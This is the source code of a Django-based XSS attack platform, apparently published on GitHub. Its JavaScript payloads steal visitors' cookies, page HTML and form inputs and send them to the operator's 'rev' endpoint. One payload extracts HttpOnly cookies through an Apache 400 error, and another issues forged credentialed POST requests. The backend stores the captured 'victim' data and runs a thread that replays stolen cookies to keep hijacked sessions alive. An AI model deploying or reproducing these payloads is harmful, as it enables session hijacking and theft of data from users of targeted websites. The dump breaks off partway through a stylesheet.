├── README.md ├── config.py ├── function ├── __init__.py ├── account.py ├── ajax.py ├── apps.py ├── email.py ├── filter.py ├── keep.py ├── migrations │ └── __init__.py ├── models.py ├── receive.py ├── shorturl.py └── show.py ├── manage.py ├── payloads ├── apache400.js ├── default.js ├── gethtml.js ├── gethtml2.js ├── getinputs.js ├── getlanip.js ├── htmlimg.js ├── keyboard.js ├── localstorage.js ├── location.js ├── music.js └── postdata.js ├── static ├── index │ ├── css │ │ ├── bootstrap.min.css │ │ └── style.css │ └── img │ │ └── slider-image-1.png └── user │ ├── css │ ├── maps │ │ └── style.css.map │ ├── reset.css │ ├── style.css │ ├── style1.css │ └── tasksform.css │ ├── fonts │ └── Ubuntu │ │ ├── Ubuntu-Bold.eot │ │ ├── Ubuntu-Bold.ttf │ │ ├── Ubuntu-Bold.woff │ │ ├── Ubuntu-Bold.woff2 │ │ ├── Ubuntu-Light.eot │ │ ├── Ubuntu-Light.ttf │ │ ├── Ubuntu-Light.woff │ │ ├── Ubuntu-Light.woff2 │ │ ├── Ubuntu-Medium.eot │ │ ├── Ubuntu-Medium.ttf │ │ ├── Ubuntu-Medium.woff │ │ ├── Ubuntu-Medium.woff2 │ │ ├── Ubuntu-Regular.eot │ │ ├── Ubuntu-Regular.ttf │ │ ├── Ubuntu-Regular.woff │ │ └── Ubuntu-Regular.woff2 │ ├── gulpfile.js │ ├── images │ ├── bg.jpg │ ├── dashboard │ │ └── circle.svg │ ├── faces │ │ └── face.jpg │ ├── favicon.png │ ├── icons.png │ ├── into.png │ ├── logo-mini.svg │ └── logo.png │ ├── img │ ├── bg.jpg │ ├── email.png │ ├── name.png │ └── password.png │ ├── js │ ├── app.js │ ├── chart.js │ ├── dashboard.js │ ├── jquery.js │ ├── jquery.min.js │ ├── misc.js │ ├── off-canvas.js │ └── particles.min.js │ ├── scss │ ├── _background.scss │ ├── _demo.scss │ ├── _fonts.scss │ ├── _footer.scss │ ├── _functions.scss │ ├── _misc.scss │ ├── _navbar.scss │ ├── _reset.scss │ ├── _sidebar.scss │ ├── _typography.scss │ ├── _utilities.scss │ ├── _variables.scss │ ├── components │ │ ├── _badges.scss │ │ ├── _bootstrap-progress.scss │ │ ├── _buttons.scss │ │ ├── _cards.scss │ │ ├── _checkbox-radio.scss │ │ ├── _dropdown.scss │ │ ├── _forms.scss │ │ ├── _icons.scss │ │ ├── _lists.scss │ │ ├── _preview.scss │ │ └── _tables.scss │ ├── landing-screens │ │ └── _auth.scss │ ├── mixins │ │ ├── _animation.scss │ │ ├── _background.scss │ │ ├── _badges.scss │ │ ├── _blockqoute.scss │ │ ├── _buttons.scss │ │ ├── _cards.scss │ │ └── _misc.scss │ └── style.scss │ └── vendors │ ├── css │ └── vendor.bundle.base.css │ ├── iconfonts │ └── mdi │ │ ├── bower.json │ │ ├── css │ │ ├── materialdesignicons.css │ │ ├── materialdesignicons.css.map │ │ ├── materialdesignicons.min.css │ │ └── materialdesignicons.min.css.map │ │ ├── fonts │ │ ├── materialdesignicons-webfont.eot │ │ ├── materialdesignicons-webfont.svg │ │ ├── materialdesignicons-webfont.ttf │ │ ├── materialdesignicons-webfont.woff │ │ └── materialdesignicons-webfont.woff2 │ │ ├── license.md │ │ ├── package.json │ │ ├── preview.html │ │ └── scss │ │ ├── _animated.scss │ │ ├── _core.scss │ │ ├── _extras.scss │ │ ├── _functions.scss │ │ ├── _icons.scss │ │ ├── _path.scss │ │ ├── _variables.scss │ │ └── materialdesignicons.scss │ └── js │ ├── vendor.bundle.addons.js │ └── vendor.bundle.base.js ├── templates ├── index │ └── index.html └── user │ ├── addproject.html │ ├── index.html │ ├── login.html │ ├── project.html │ ├── projectinfo.html │ └── register.html ├── xss ├── __init__.py ├── settings.py ├── urls.py ├── views.py └── wsgi.py ├── xss1.sql └── xssuser ├── __init__.py ├── apps.py ├── urls.py └── views.py /README.md: -------------------------------------------------------------------------------- 1 | # 使用Django打造属于自己的XSS平台 2 | ## 地址 3 | https://github.com/HackerYunen/Django-XSS-Platform 4 | 5 | ## 环境 6 | + python3 7 | 8 | ## 库文件 9 | + requests 10 | + django2 11 | + pymysql 12 | 13 | ## 说明 14 | 前端采用开源Bootstarp模板,后端使用Django打造而成。 15 | 16 | ## 功能 17 | + 邮件提醒 18 | + Cookie活性保持 19 | + 多用户模式 20 | 21 | ## TODO 22 | + 添加多个Payload 23 | 24 | ## 配置 25 | 大部分配置参数均可在config.py文件中修改。 26 | 27 | ## 使用 28 | + 1.在数据库中建好库,修改config.py文件里的内容 29 | + 2.初始化数据库: 30 | ``` 31 | python manage.py makemigrations 32 | python manage.py migrate 33 | python manage.py sqlgrate function 0001 34 | ``` 35 | + 3.运行: 36 | ``` 37 | python manage.py runserver 38 | ``` 39 | 40 | **注意此处由于使用了pymysql做Mysql引擎,故会产生一些错误,需要修改某些自带py库文件,具体请按照错误百度查询即可。** 41 | 42 | ## 截图 43 | **主界面** 44 | ![](https://cy-pic.kuaizhan.com/g3/5c/9f/1c57-dd7f-4066-a896-5699803c958046) 45 | 项目列表页: 46 | ![](https://cy-pic.kuaizhan.com/g3/af/6f/6918-2798-4533-8393-9eb05af51cc835) 47 | 项目详情页: 48 | ![](https://cy-pic.kuaizhan.com/g3/93/a0/2283-38ff-4241-b1c0-f255028faae937) 49 | 信封内容框: 50 | ![](https://cy-pic.kuaizhan.com/g3/18/47/0601-97ca-4f18-9dbb-4e27a69dc84923) 51 | 添加项目页: 52 | ![](https://cy-pic.kuaizhan.com/g3/89/0f/4088-9a62-4660-bada-866b4d935d8a72) 53 | 修改密码框: 54 | ![](https://cy-pic.kuaizhan.com/g3/dc/1d/f293-41ce-4b4b-a695-d3fc52c7528975) -------------------------------------------------------------------------------- /config.py: -------------------------------------------------------------------------------- 1 | # 网站配置项 2 | Domain = 'http://127.0.0.1:8000/' 3 | Open_register = True 4 | Add_payload = True 5 | Safe_code = 'ISA' 6 | 7 | # C7短连接 APP KEY 8 | App_open= True 9 | App_key = '' 10 | 11 | # 数据库配置 12 | Mysql_host = '127.0.0.1' 13 | Mysql_port = '3306' 14 | Mysql_user = 'root' 15 | Mysql_pass = 'root' 16 | Mysql_db = 'xss' 17 | 18 | # 默认Payload活性保持 19 | Keep_open = True 20 | Keep_time = 1 #保持活性时长,单位h/小时 21 | 22 | # 邮件提醒设置 23 | Email_open = False 24 | Email_user = '' 25 | Email_pass = '' 26 | Email_host = '' 27 | Email_port = 465 28 | Email_value = '您的外卖已送达,请登录平台查询订单' 29 | Email_title = '您的外卖已送达,请登录平台查询订单' 30 | Email_from = 'XSS平台' 31 | Email_to = '顾客' 32 | 33 | # Payloads设置 34 | Payload_path = 'payloads/' 35 | Replace_host = '<-|HOST|->' 36 | Replace_id = '<-|ID|->' -------------------------------------------------------------------------------- /function/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/function/__init__.py -------------------------------------------------------------------------------- /function/account.py: -------------------------------------------------------------------------------- 1 | from django.contrib import auth 2 | from django.contrib.auth.models import User 3 | from config import Safe_code 4 | from .filter import Value_check 5 | 6 | def login(request): #登录 7 | username = request.POST.get('username') 8 | password = request.POST.get('password') 9 | safecode = request.POST.get('safecode') 10 | if not Value_check(username,password,safecode): #检查字段完整 11 | return '请检查字段是否填写完整' 12 | elif safecode != Safe_code: 13 | return '安全秘钥错误' 14 | try: 15 | check = auth.authenticate(username=username,password=password) 16 | if check is None: 17 | return '账号或密码错误' 18 | auth.login(request,check) 19 | return 'True' 20 | except: 21 | return '登录错误' 22 | 23 | def register(request): #注册 24 | username = request.POST.get('username') 25 | password = request.POST.get('password') 26 | email = request.POST.get('email') 27 | safecode = request.POST.get('safecode') 28 | if not Value_check(username,password,safecode,email): #检查字段完整 29 | return '请检查字段是否填写完整' 30 | elif safecode != Safe_code: 31 | return '安全秘钥错误' 32 | try: 33 | User.objects.create_user(username=username,password=password,email=email) 34 | return 'True' 35 | except: 36 | return '注册失败,请更换用户名或邮箱重试' 37 | 38 | def logout(request): #登出 39 | auth.logout(request) 40 | 41 | def change_pass(request): #修改密码 42 | username = request.user.username 43 | oldpass = request.POST.get('oldpass') 44 | newpass = request.POST.get('newpass') 45 | if not Value_check(oldpass,newpass): 46 | return '请检查字段是否填写完整' 47 | user_info = auth.authenticate(username=username,password=oldpass) 48 | if user_info is not None: 49 | user_info.set_password(newpass) 50 | user_info.save() 51 | return 'True' 52 | return '原密码填写错误,请重新填写' -------------------------------------------------------------------------------- /function/ajax.py: -------------------------------------------------------------------------------- 1 | from .models import * 2 | import random,time 3 | from .shorturl import url_to_short 4 | from config import Domain,App_open 5 | 6 | 7 | def rand_id(): 8 | base_str = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM" 9 | final_str = "" 10 | for x in range(10): 11 | final_str += base_str[random.randint(0,61)] #创建随机10位ID 12 | return final_str 13 | 14 | def ajax_letter_value_func(username,letter_id): 15 | try: 16 | letter = Letter.objects.get(owner=username,id=letter_id) #username防止越权查询 17 | letter.status='False' #修改状态为已读 18 | letter.save() 19 | return ['200',letter.rev_value] 20 | except: 21 | return ['500','禁止越权查看'] 22 | 23 | def ajax_delete_letter_func(username,letter_id): 24 | try: 25 | Letter.objects.get(owner=username,id=letter_id).delete() #删除信封 26 | return ['200','True'] 27 | except: 28 | return ['500','禁止越权删除'] 29 | 30 | def ajax_delete_project_func(username,project_id): 31 | try: 32 | Project.objects.get(owner=username,project_id=project_id).delete() #删除项目 33 | except: 34 | return ['500','禁止越权删除'] 35 | try: 36 | Letter.objects.get(owner=username,project_id=project_id).delete() #删除项目信封 37 | except: 38 | pass 39 | return ['200','True'] 40 | 41 | 42 | def ajax_payload_explain_func(payload_name): 43 | try: 44 | payload = Payload.objects.get(name=payload_name) 45 | explain = payload.explain #根据name查询payload的explain 46 | parameter = payload.parameter #查询是否需要额外自定义参数 47 | return ['200',explain,parameter] 48 | except: 49 | return ['500','查询失败','查询失败'] 50 | #添加项目 51 | def ajax_add_project_func(username,name,describe,payload,send_email, 52 | parameter,diy_payload,keep_alive): 53 | project_id = rand_id() #生成随机十位ID 54 | payload_url = Domain + 'js?id=' + project_id 55 | if App_open == True: 56 | short_url = url_to_short(payload_url) #短连接转换 57 | else: 58 | short_url = ['500','未开启短链接服务'] 59 | now_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) #取当前时间,并规定返回的格式 60 | try: 61 | Project.objects.create(project_id=project_id,name=name,owner=username, 62 | describe=describe,create_time = now_time, #添加项目 63 | payload = payload,send_email = send_email, 64 | short_url = short_url,keep_alive = keep_alive, 65 | diy_payload = diy_payload,payload_parameter=parameter) 66 | return ['200','True'] 67 | except: 68 | return ['500','添加失败,请检查字段内容'] 69 | -------------------------------------------------------------------------------- /function/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class FunctionConfig(AppConfig): 5 | name = 'function' 6 | -------------------------------------------------------------------------------- /function/email.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | import smtplib 3 | from email.mime.text import MIMEText 4 | from email.utils import formataddr 5 | from config import Email_user,Email_pass,Email_host,Email_port,Email_value,Email_title,Email_from,Email_to 6 | 7 | ''' 8 | 未读信封邮件提醒 9 | ''' 10 | 11 | def send_mail(user_mail): 12 | try: 13 | msg=MIMEText(Email_value,'plain','utf-8') 14 | msg['From']=formataddr([Email_from,Email_user]) 15 | msg['To']=formataddr([Email_to,user_mail]) 16 | msg['Subject']=Email_title 17 | server=smtplib.SMTP_SSL(Email_host, Email_port) 18 | server.login(Email_user, Email_pass) 19 | server.sendmail(Email_user,[user_mail,],msg.as_string()) 20 | server.quit() 21 | except Exception: 22 | pass -------------------------------------------------------------------------------- /function/filter.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | def XSS_filter(value): #XSS检测 4 | black_list = '.*?(<|>)+.*?' 5 | if re.match(black_list,value): 6 | return False 7 | return True 8 | 9 | def Mail_check(value): #邮箱格式检测 10 | pattern = '^[0-9a-zA-Z]+\@([0-9a-zA-Z]+\.)+[0-9a-zA-Z]+$' 11 | if re.match(pattern,value): 12 | return True 13 | return False 14 | 15 | def Method_check(request,method): #请求方式检测 16 | if request.method==method: 17 | return True 18 | return False 19 | 20 | def Value_check(*args): #检测数据是否为空 21 | for x in args: 22 | if x is None or x == '': 23 | return False 24 | return True 25 | 26 | def None_to_Blank(args_list): #将None转化为空白 27 | for x in range(0,len(args_list)): 28 | if args_list[x] is None: 29 | args_list[x] = '' 30 | return args_list -------------------------------------------------------------------------------- /function/keep.py: -------------------------------------------------------------------------------- 1 | from config import Keep_time,Keep_open 2 | from .models import Letter 3 | import requests,queue,time,threading 4 | 5 | ''' 6 | 使用独立于主线程的其他线程 7 | 来保持通用项目的cookie信息'活性' 8 | 适用于用户量不大的网站 9 | ''' 10 | 11 | def hours_before(): 12 | t = time.time() - Keep_time*60*60 13 | t = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(t)) 14 | return t 15 | 16 | def create_queue(): #从数据库查询需要操作的信封 17 | Letter_queue = queue.Queue() #并加入到任务队列中 18 | lowest_time = hours_before() 19 | try: 20 | keep_letter = Letter.objects.filter(status='True',time__gt=lowest_time,keep_alive='True').values_list('referer','ua','rev_value') 21 | except: 22 | return Letter_queue 23 | letter_list = list(keep_letter) 24 | for x in letter_list: 25 | Letter_queue.put(x) 26 | return Letter_queue 27 | 28 | def keep_alive(): 29 | while True: 30 | time.sleep(2) #请求间隔 31 | task_queue = create_queue() 32 | while not task_queue.empty(): 33 | task = task_queue.get() 34 | url = task[0] 35 | ua = task[1] 36 | cookie = task[2][7:] 37 | headers = {'User-Agent': ua, 'Cookie': cookie} 38 | try: 39 | requests.get(url, headers=headers,timeout=2) 40 | except: 41 | pass 42 | if task_queue.empty() == True: 43 | time.sleep(2) 44 | 45 | if Keep_open: 46 | t1 = threading.Thread(target=keep_alive) 47 | t1.setDaemon(True) #设置守护线程 48 | t1.start() -------------------------------------------------------------------------------- /function/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/function/migrations/__init__.py -------------------------------------------------------------------------------- /function/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | 3 | class Payload(models.Model): #Payload表 4 | name = models.CharField(max_length=30) 5 | filename = models.CharField(max_length=100) 6 | explain = models.CharField(max_length=200) 7 | parameter = models.CharField(max_length=100) 8 | 9 | class Project(models.Model): #项目表 10 | project_id = models.CharField(max_length=10) 11 | name = models.CharField(max_length=30) 12 | owner = models.CharField(max_length=10) 13 | describe = models.CharField(max_length=500) 14 | create_time = models.CharField(max_length=50) 15 | payload = models.CharField(max_length=30) 16 | send_email = models.CharField(max_length=5) 17 | short_url = models.CharField(max_length=30) 18 | keep_alive = models.CharField(max_length=5) 19 | diy_payload = models.CharField(max_length=10000) 20 | payload_parameter = models.CharField(max_length=200) 21 | 22 | class Letter(models.Model): #信封表 23 | time = models.CharField(max_length=50) 24 | owner = models.CharField(max_length=10) 25 | project_id = models.CharField(max_length=10) 26 | rev_value = models.TextField() 27 | ip = models.CharField(max_length=15) 28 | method = models.CharField(max_length=6) 29 | referer = models.CharField(max_length=50) 30 | ua = models.CharField(max_length=200) 31 | status = models.CharField(max_length=5,default='True') 32 | -------------------------------------------------------------------------------- /function/receive.py: -------------------------------------------------------------------------------- 1 | import time,base64,json 2 | from .filter import XSS_filter 3 | from .models import Letter,Project 4 | from config import Email_open 5 | from .email import send_mail 6 | from django.contrib.auth.models import User 7 | from .filter import Value_check 8 | 9 | def get_victim_info_func(request): 10 | if request.method == 'GET': #根据不同请求方式获取id、value 11 | project_id = request.GET.get('id') 12 | rev_value = request.GET.get('value') 13 | if not Value_check(project_id,rev_value): 14 | return '请检查字段是否完整' 15 | elif request.method == 'POST': 16 | project_id = request.POST.get('id') 17 | rev_value = request.POST.get('value') 18 | if not Value_check(project_id,rev_value): #兼顾json格式的post数据 19 | try: 20 | print(len(request.body)) 21 | json_list = json.loads(request.body) 22 | project_id= json_list['id'] 23 | rev_value = json_list['value'] 24 | if not Value_check(project_id, rev_value): 25 | return '请检查字段是否完整' 26 | except: 27 | return '请检查字段是否完整' 28 | else: 29 | project_id = '' 30 | rev_value = '' 31 | victim_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) #取当前时间,并规定返回的格式 32 | victim_ip = request.META['REMOTE_ADDR'] #取ip 33 | victim_method = request.method #取请求方式 34 | victim_UA = request.META['HTTP_USER_AGENT'] #取UA头 35 | victim_referer = request.META['HTTP_REFERER'] #取Referer头 36 | result = [project_id, rev_value, victim_time, victim_ip, victim_method, victim_referer, victim_UA] 37 | for x in range(0,len(result)): #防止XSS爆菊,将含有<>的内容转成base64 38 | if not XSS_filter(result[x]): 39 | result[x] = base64.b64encode(result[x].encode('utf-8')) 40 | return result 41 | 42 | def rev_letter_func(request): 43 | try: 44 | result = get_victim_info_func(request) #读取请求中含有信息 45 | owner = Project.objects.get(project_id=result[0]).owner #根据project_id取用户 46 | if Email_open: 47 | email = User.objects.get(username=owner).email #获取信封使用者Email 48 | send_mail(email) #发送Email 49 | Letter.objects.create( 50 | project_id=result[0],rev_value=result[1], 51 | time=result[2],ip=result[3],method=result[4], 52 | referer=result[5],ua=result[6],owner=owner,status='True') #将信封存入数据库 53 | except: 54 | return 'Fail' 55 | return 'True' -------------------------------------------------------------------------------- /function/shorturl.py: -------------------------------------------------------------------------------- 1 | from config import App_key 2 | import requests 3 | 4 | ''' 5 | 短链接生成 6 | 接口c7.gg 7 | ''' 8 | 9 | def url_to_short(url): 10 | r = requests.get("http://api.c7.gg/api.php?url={0}&apikey={1}".format(url,App_key)) 11 | return r.text -------------------------------------------------------------------------------- /function/show.py: -------------------------------------------------------------------------------- 1 | from config import Domain,Payload_path,Replace_host,Replace_id 2 | from .models import * 3 | 4 | def show_payload_func(project_id): 5 | try: 6 | p = Project.objects.get(project_id=project_id) #根据project_id取Project情况 7 | payload = p.payload #取payload名称 8 | if payload != 'diy': 9 | payload = Payload.objects.get(name=payload) 10 | filename = payload.filename 11 | parameter = payload.parameter 12 | file = open(Payload_path + filename,'r',encoding='utf-8') #打开文件并读取 13 | value = file.read() #修改动态Payload 14 | value = value.replace(Replace_host,Domain).replace(Replace_id, 15 | project_id) 16 | if parameter == '': 17 | return value 18 | p_list = parameter.split('&') 19 | p_dic = {} 20 | try: 21 | p_value = p.payload_parameter.split('&') #自定义参数处理 22 | for x in p_value: 23 | p_list2 = x.split('=') 24 | p_dic[p_list2[0]]=p_list2[1] 25 | except: 26 | return '自定义参数错误' 27 | for a in p_list: 28 | value = value.replace('<+|'+a+'|+>',p_dic[a]) 29 | else: 30 | value = p.diy_payload #获取DIY_Payload 31 | return value 32 | except: 33 | return 'Error' 34 | 35 | def show_index_number_func(username): 36 | try: 37 | user_letter = Letter.objects.filter(owner=username) #取用户信封情况 38 | except: 39 | user_letter = None 40 | try: 41 | letter_number = user_letter.count #取用户信封总数 42 | except: 43 | letter_number = 0 44 | try: 45 | unread_letter_number = user_letter.filter(status='True').count #取用户未读信封总数 46 | except: 47 | unread_letter_number = 0 48 | try: 49 | project_number = Project.objects.filter(owner=username).count #取用户项目总数 50 | except: 51 | project_number = 0 #定义返回字典 52 | result = {'letter_number':letter_number, 53 | 'unread_letter_number':unread_letter_number, 54 | 'project_number':project_number} 55 | return result 56 | 57 | def show_index_payload_func(): 58 | payload_list = Payload.objects.all() #获取所有payload 59 | result = list(payload_list.values_list('id','name','explain')) #取特定字段并转换成列表 60 | return result 61 | 62 | def show_payload_name_func(): #获取所有payload名称 63 | payload_list = show_index_payload_func() 64 | payload_name_list = [] 65 | for x in payload_list: 66 | payload_name_list.append(x[1]) 67 | return payload_name_list 68 | 69 | def show_table_project_func(username): 70 | project_list = Project.objects.filter(owner=username).order_by('-create_time') #倒序获取用户的项目 71 | result = list(project_list.values_list('project_id','name','payload', 72 | 'describe','create_time','short_url')) 73 | letter = Letter.objects.filter(owner=username) #获取用户信封情况 74 | for x in range(0,len(result)): 75 | result[x] = list(result[x]) #将元组转换成可编辑列表 76 | project_id = result[x][0] 77 | try: 78 | unread_num = letter.filter(project_id=project_id,status='True').count #获取项目未读信封数量 79 | except: 80 | unread_num = 0 81 | try: 82 | letter_num = letter.filter(project_id=project_id).count #获取项目总信封数量 83 | except: 84 | letter_num = 0 85 | result[x].append(unread_num) 86 | result[x].append(letter_num) #将获取结果添加入返回字典中 87 | return result 88 | 89 | def show_table_letter_func(username,project_id): 90 | letter_list = Letter.objects.filter(owner=username,project_id=project_id).order_by('status') #取项目信封情况并按照读取状态排序 91 | result = list(letter_list.values_list('time','ip','referer','method','ua','status','id')) #取特定字段并转换成列表 92 | return result 93 | -------------------------------------------------------------------------------- /manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """Django's command-line utility for administrative tasks.""" 3 | import os 4 | import sys 5 | 6 | def main(): 7 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'xss.settings') 8 | try: 9 | from django.core.management import execute_from_command_line 10 | except ImportError as exc: 11 | raise ImportError( 12 | "Couldn't import Django. Are you sure it's installed and " 13 | "available on your PYTHONPATH environment variable? Did you " 14 | "forget to activate a virtual environment?" 15 | ) from exc 16 | execute_from_command_line(sys.argv) 17 | 18 | if __name__ == '__main__': 19 | main() 20 | -------------------------------------------------------------------------------- /payloads/apache400.js: -------------------------------------------------------------------------------- 1 | var website="<-|HOST|->"; 2 | function setCookies() { 3 | /*apache server limit 8192*/ 4 | var str = ""; 5 | for (var i = 0; i < 819; i++) { 6 | str += "x"; 7 | } 8 | for (i = 0; i < 10; i++) { 9 | var cookie = "ray" + i + "=" + str + ";path=/"; 10 | document.cookie = cookie; 11 | } 12 | } 13 | 14 | function parseCookies() { 15 | if (xhr.readyState === 4 && xhr.status === 400) { 16 | var content = xhr.responseText.replace(/\r|\n/g, '').match(/
(.+)<\/pre>/);
17 |         content = content[1].replace("Cookie: ", "");
18 |         cookies = content.replace(/ray\d=x+;?/g, '')
19 |         try {
20 |             var myopener = '';
21 |             myopener = window.parent.openner.location;
22 |             var myparent = '';
23 |             myparent = window.parent.location;
24 |         } catch (err) {
25 |             myopener = '0';
26 |             myparent = '0';
27 |         }
28 |         window.location = website + 'rev?value=location=' + escape(document.location) + '||||toplocation=' + escape(myparent) + '||||cookie=' + escape(cookies) + '||||opener=' + escape(myopener);
29 |     }
30 | }
31 | 
32 | setCookies();
33 | var xhr = window.XMLHttpRequest ? new XMLHttpRequest() : window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest();
34 | xhr.onreadystatechange = parseCookies;
35 | xhr.open("POST", "/?" + Math.random(), true);
36 | xhr.send(null);


--------------------------------------------------------------------------------
/payloads/default.js:
--------------------------------------------------------------------------------
1 | var website="<-|HOST|->rev";
2 | (function(){(new Image()).src=website+'?id=<-|ID|->&value=cookie='+escape((function(){try{return document.cookie}catch(e){return''}})());})();


--------------------------------------------------------------------------------
/payloads/gethtml.js:
--------------------------------------------------------------------------------
1 | function help(){xssinfo={};xssinfo["id"]="<-|ID|->";try{xssinfo["value"]=document.documentElement.outerHTML}catch(e){xssinfo["value"]=""}var ajax=new XMLHttpRequest();ajax.open("POST","<-|HOST|->rev");ajax.setRequestHeader("Content-type","text/plain");ajax.send(JSON.stringify(xssinfo));ajax.onreadystatechange=function(){if(ajax.readyState==4&&ajax.status==200){}}}help();


--------------------------------------------------------------------------------
/payloads/gethtml2.js:
--------------------------------------------------------------------------------
 1 | var u = '<-|HOST|->rev';
 2 | var cr;
 3 | if (document.charset) {
 4 |     cr = document.charset
 5 | } else if (document.characterSet) {
 6 |     cr = document.characterSet
 7 | };
 8 | function createXmlHttp() {
 9 |     if (window.XMLHttpRequest) {
10 |         xmlHttp = new XMLHttpRequest()
11 |     } else {
12 |         var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
13 |         for (var n = 0; n < MSXML.length; n++) {
14 |             try {
15 |                 xmlHttp = new ActiveXObject(MSXML[n]);
16 |                 break
17 |             } catch(e) {}
18 |         }
19 |     }
20 | }
21 | createXmlHttp();
22 | xmlHttp.onreadystatechange = writeSource;
23 | xmlHttp.open("GET", "<+|filename|+>", true);
24 | xmlHttp.send(null);
25 | function postSource(cc) {
26 |     createXmlHttp();
27 |     url = u;
28 |     cc = "id=<-|ID|->&value=" + escape(cc);
29 |     xmlHttp.open("POST", url, true);
30 |     xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
31 |     xmlHttp.setRequestHeader("Content-length", cc.length);
32 |     xmlHttp.setRequestHeader("Connection", "close");
33 |     xmlHttp.send(cc)
34 | }
35 | function writeSource() {
36 |     if (xmlHttp.readyState == 4) {
37 |         var c = new postSource(xmlHttp.responseText)
38 |     }
39 | }


--------------------------------------------------------------------------------
/payloads/getinputs.js:
--------------------------------------------------------------------------------
 1 | function postData() {	
 2 |         console.log("aaaa");                
 3 |         var output = "value="+document.location;
 4 |         var inputs, index;
 5 | 
 6 |         inputs = document.getElementsByTagName('input');		
 7 |         for (index = 0; index < inputs.length; ++index) {
 8 |                 input_name = inputs[index].id || inputs[index].name;
 9 | 				console.log(inputs[index].value);
10 |                 output = output + "||||" + input_name + "=" + inputs[index].value;
11 |         }
12 |         
13 |         //output = encodeURI(output);
14 | 		console.log(output);
15 | 		
16 |         //new Image().src = "<-|HOST|->rev?id=<-|ID|->&"+output;
17 | 
18 | }
19 | 
20 | setTimeout("postData()","<+|timeout|+>");


--------------------------------------------------------------------------------
/payloads/getlanip.js:
--------------------------------------------------------------------------------
 1 | function getIPs(callback) {
 2 |     var ip_dups = {};
 3 | 
 4 |     //compatibility for firefox and chrome
 5 |     var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
 6 |     var useWebKit = !!window.webkitRTCPeerConnection;
 7 | 
 8 |     //bypass naive webrtc blocking using an iframe
 9 |     if (!RTCPeerConnection) {
10 |         //NOTE: you need to have an iframe in the page right above the script tag
11 |         //
12 |         //
13 |         //");   
 2 | var method = "POST";
 3 | 
 4 | document.onreadystatechange = senddata;
 5 | 
 6 | function senddata(){
 7 | 	if(method == "POST"){
 8 | 		$.ajax({
 9 | 			type: "POST",
10 | 			url: "<+|url|+>",
11 | 			data: window.atob("<+|postdata|+>"),
12 | 			beforeSend: function(xhr) {
13 | 				xhr.withCredentials = true;
14 | 			}
15 | 		});
16 | 	}else{
17 | 		document.write('');   
18 | 	}
19 | }


--------------------------------------------------------------------------------
/static/index/img/slider-image-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/index/img/slider-image-1.png


--------------------------------------------------------------------------------
/static/user/css/reset.css:
--------------------------------------------------------------------------------
 1 | @charset "utf-8";
 2 | /* CSS Document */
 3 | /*Reset*/
 4 | *{box-sizing:content-box;}
 5 | a:hover, a:focus{text-decoration:none;}
 6 | body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,textarea,p,blockquote,th,td{margin:0;padding:0;}
 7 | table{border-collapse:collapse;border-spacing:0;}
 8 | body{-webkit-text-size-adjust:none;}
 9 | fieldset,img{border:0;}
10 | img{ vertical-align: top; max-width: 100%; }
11 | address,caption,cite,code,dfn,em,th,var{font-style:normal;font-weight:normal;}
12 | ol,ul{list-style:none;}
13 | caption,th{text-align:left;}
14 | h1,h2,h3,h4,h5,h6{font-size:100%;font-weight:normal;}
15 | q:before,q:after{content:'';}
16 | abbr,acronym {border:0;}
17 | .clearfix:after{visibility:hidden;display: block;font-size:0;content:" ";clear:both;height:0;}
18 | * html .clearfix{ zoom: 1; } /* IE6 */
19 | *:first-child+html .clearfix { zoom: 1; } /* IE7 */
20 | .cli{ clear:both; font-size:0; height:0; overflow:hidden;display:block;}
21 | .lclear{clear:left;font-size:0;height:0;overflow:hidden;}	
22 | .fl{float:left;}
23 | .fr{float:right;}
24 | 
25 | /* ֹ
26 | iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}
27 | script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');}
28 | */
29 | /* ıԼ˶
30 | div{word-wrap: break-word;word-break: normal;}  
31 | p{text-align:justify; text-justify:inter-ideograph;}
32 | */
33 | /*general*/
34 | body{font-size:12px;font-family:'微软雅黑',"宋体","Arial Narrow",Helvetica,sans-serif;color:#000;line-height:1.2;text-align:left;}
35 | a{color:#333;text-decoration:none;}
36 | 


--------------------------------------------------------------------------------
/static/user/css/style1.css:
--------------------------------------------------------------------------------
  1 | html,body{ 
  2 | 	width:100%;
  3 | 	height:100%;
  4 | }
  5 | 
  6 | canvas{
  7 |   display:block;
  8 |   vertical-align:bottom;
  9 | }
 10 | 
 11 | .count-particles{
 12 |   background: #000022;
 13 |   position: absolute;
 14 |   top: 48px;
 15 |   left: 0;
 16 |   width: 80px;
 17 |   color: #13E8E9;
 18 |   font-size: .8em;
 19 |   text-align: left;
 20 |   text-indent: 4px;
 21 |   line-height: 14px;
 22 |   padding-bottom: 2px;
 23 |   font-family: Helvetica, Arial, sans-serif;
 24 |   font-weight: bold;
 25 | }
 26 | 
 27 | .js-count-particles{
 28 |   font-size: 1.1em;
 29 | }
 30 | 
 31 | #stats,
 32 | .count-particles{
 33 |   -webkit-user-select: none;
